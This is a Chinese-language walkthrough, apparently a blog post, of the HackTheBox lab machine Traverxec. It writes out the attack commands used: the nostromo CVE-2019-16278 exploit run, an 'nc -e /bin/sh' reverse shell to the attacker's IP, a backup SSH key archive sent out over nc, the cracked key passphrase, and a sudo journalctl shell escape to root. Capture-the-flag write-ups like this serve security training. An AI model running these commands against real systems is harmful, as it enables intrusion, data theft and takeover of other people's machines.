hackthebox - Traverxec (考点:nostromo安全 & ssh2john & journalctl提权)

1 扫描

22想到可能有ssh登录,80进web信息搜集

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC

2 http漏洞利用 & www-data权限

进入网页搜集信息,以及dirbuster扫,都没什么价值发现。

回头看nmap扫描的80,后面写了是这个服务nostromo 1.9.6,网上很多科普
网上搜这个漏洞,很快就看见了。这里

下载,执行会报错。把那个代码里的cve2019_16278.py注释掉或删掉。

C:\root\exp\mostromo> python 47837.py 10.10.10.165 80 whoami


                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/    




HTTP/1.1 200 OK
Date: Thu, 21 May 2020 09:47:33 GMT
Server: nostromo 1.9.6
Connection: close


www-data

ok试whomai是可行的,再执行弹shell命令。收到。

python 47837.py 10.10.10.165 80 "nc -e /bin/sh 10.10.14.43 1337"

3 提权至david

老套路,linenum脚本扫描。这里
扫到了密码hash,但是john解出来,ssh登录,无效。
在这里插入图片描述

不过,这个目录,倒是给了线索,可以再这个目录里继续信息搜集
在这个目录下找到这个

www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf 
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

最后一行提示了新的目录

进去看看,从David里面进

www-data@traverxec:/var/nostromo/conf$ cd /
www-data@traverxec:/$ ls
bin   dev  home        initrd.img.old  lib32  libx32      media  opt   root  sbin  sys  usr  vmlinuz
boot  etc  initrd.img  lib             lib64  lost+found  mnt    proc  run   srv   tmp  var  vmlinuz.old
www-data@traverxec:/$ cd home
www-data@traverxec:/home$ ls -la
total 12
drwxr-xr-x  3 root  root  4096 Oct 25  2019 .
drwxr-xr-x 18 root  root  4096 Oct 25  2019 ..
drwx--x--x  5 david david 4096 Oct 25  2019 david
www-data@traverxec:/home$ cd david/
www-data@traverxec:/home/david$ ls
ls: cannot open directory '.': Permission denied
www-data@traverxec:/home/david$ ls -la
ls: cannot open directory '.': Permission denied
www-data@traverxec:/home/david$ cd public_www
www-data@traverxec:/home/david/public_www$ ls -la
total 16
drwxr-xr-x 3 david david 4096 Oct 25  2019 .
drwx--x--x 5 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area
www-data@traverxec:/home/david/public_www$ cd protected-file-area/
www-data@traverxec:/home/david/public_www/protected-file-area$ ls -la
total 16
drwxr-xr-x 2 david david 4096 Oct 25  2019 .
drwxr-xr-x 3 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david   45 Oct 25  2019 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25  2019 backup-ssh-identity-files.tgz
www-data@traverxec:/home/david/public_www/protected-file-area$ 
www-data@traverxec:/home/david/public_www/protected-file-area$ nc 10.10.14.43 4444 < backup-ssh-identity-files.tgz

一路找,发现有ssh的压缩包文件。
拷到本机后,因为.ssh是隐藏文件,所以解压后从界面看是看不到的。除非你设置看隐藏文件,或者用终端命令进入。

解压出来后,用id_rsa连接ssh但发现还要密码。ssh -i id_rsa david@10.10.10.165
刚好今天上午做的另一台靶机postman靶机是类似情况。
拿ssh2john解密,然后john再解就可以了

C:\root\exp\JohnTheRipper-bleeding-jumbo\run> ./john tra --wordlist=/usr/share/wordlists/rockyou.txt
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)
1g 0:00:00:02 DONE (2020-05-21 07:08) 0.3731g/s 5351Kp/s 5351Kc/s 5351KC/sa6_123..*7¡Vamos!
Session completed. 
C:\root\exp\JohnTheRipper-bleeding-jumbo\run>

再连接,输入hunter登陆成功

4 提权至root

在自己家的home目录下信息搜集,有个bin目录,里面有个脚本,打开看看
查看是在执行了journalctl,而它又属于root。网上搜这个是日志管理工具。
参考提权方法神奇网站这个,搜journalctl,按照提示输入!/bin/sh就行了,

当然有些终端可能输入不了命令,需要在先输入这个python -c 'import pty;pty.spawn("/bin/bash")'变成tty交互式,再/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
感觉类似vim或其他编辑器提权那样。既然是root运行,里面又能输入东西。那就输入个!/bin/sh这样给shell的命令,root就会执行,就拿到shell了。

成功变成root。拿下
在这里插入图片描述


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值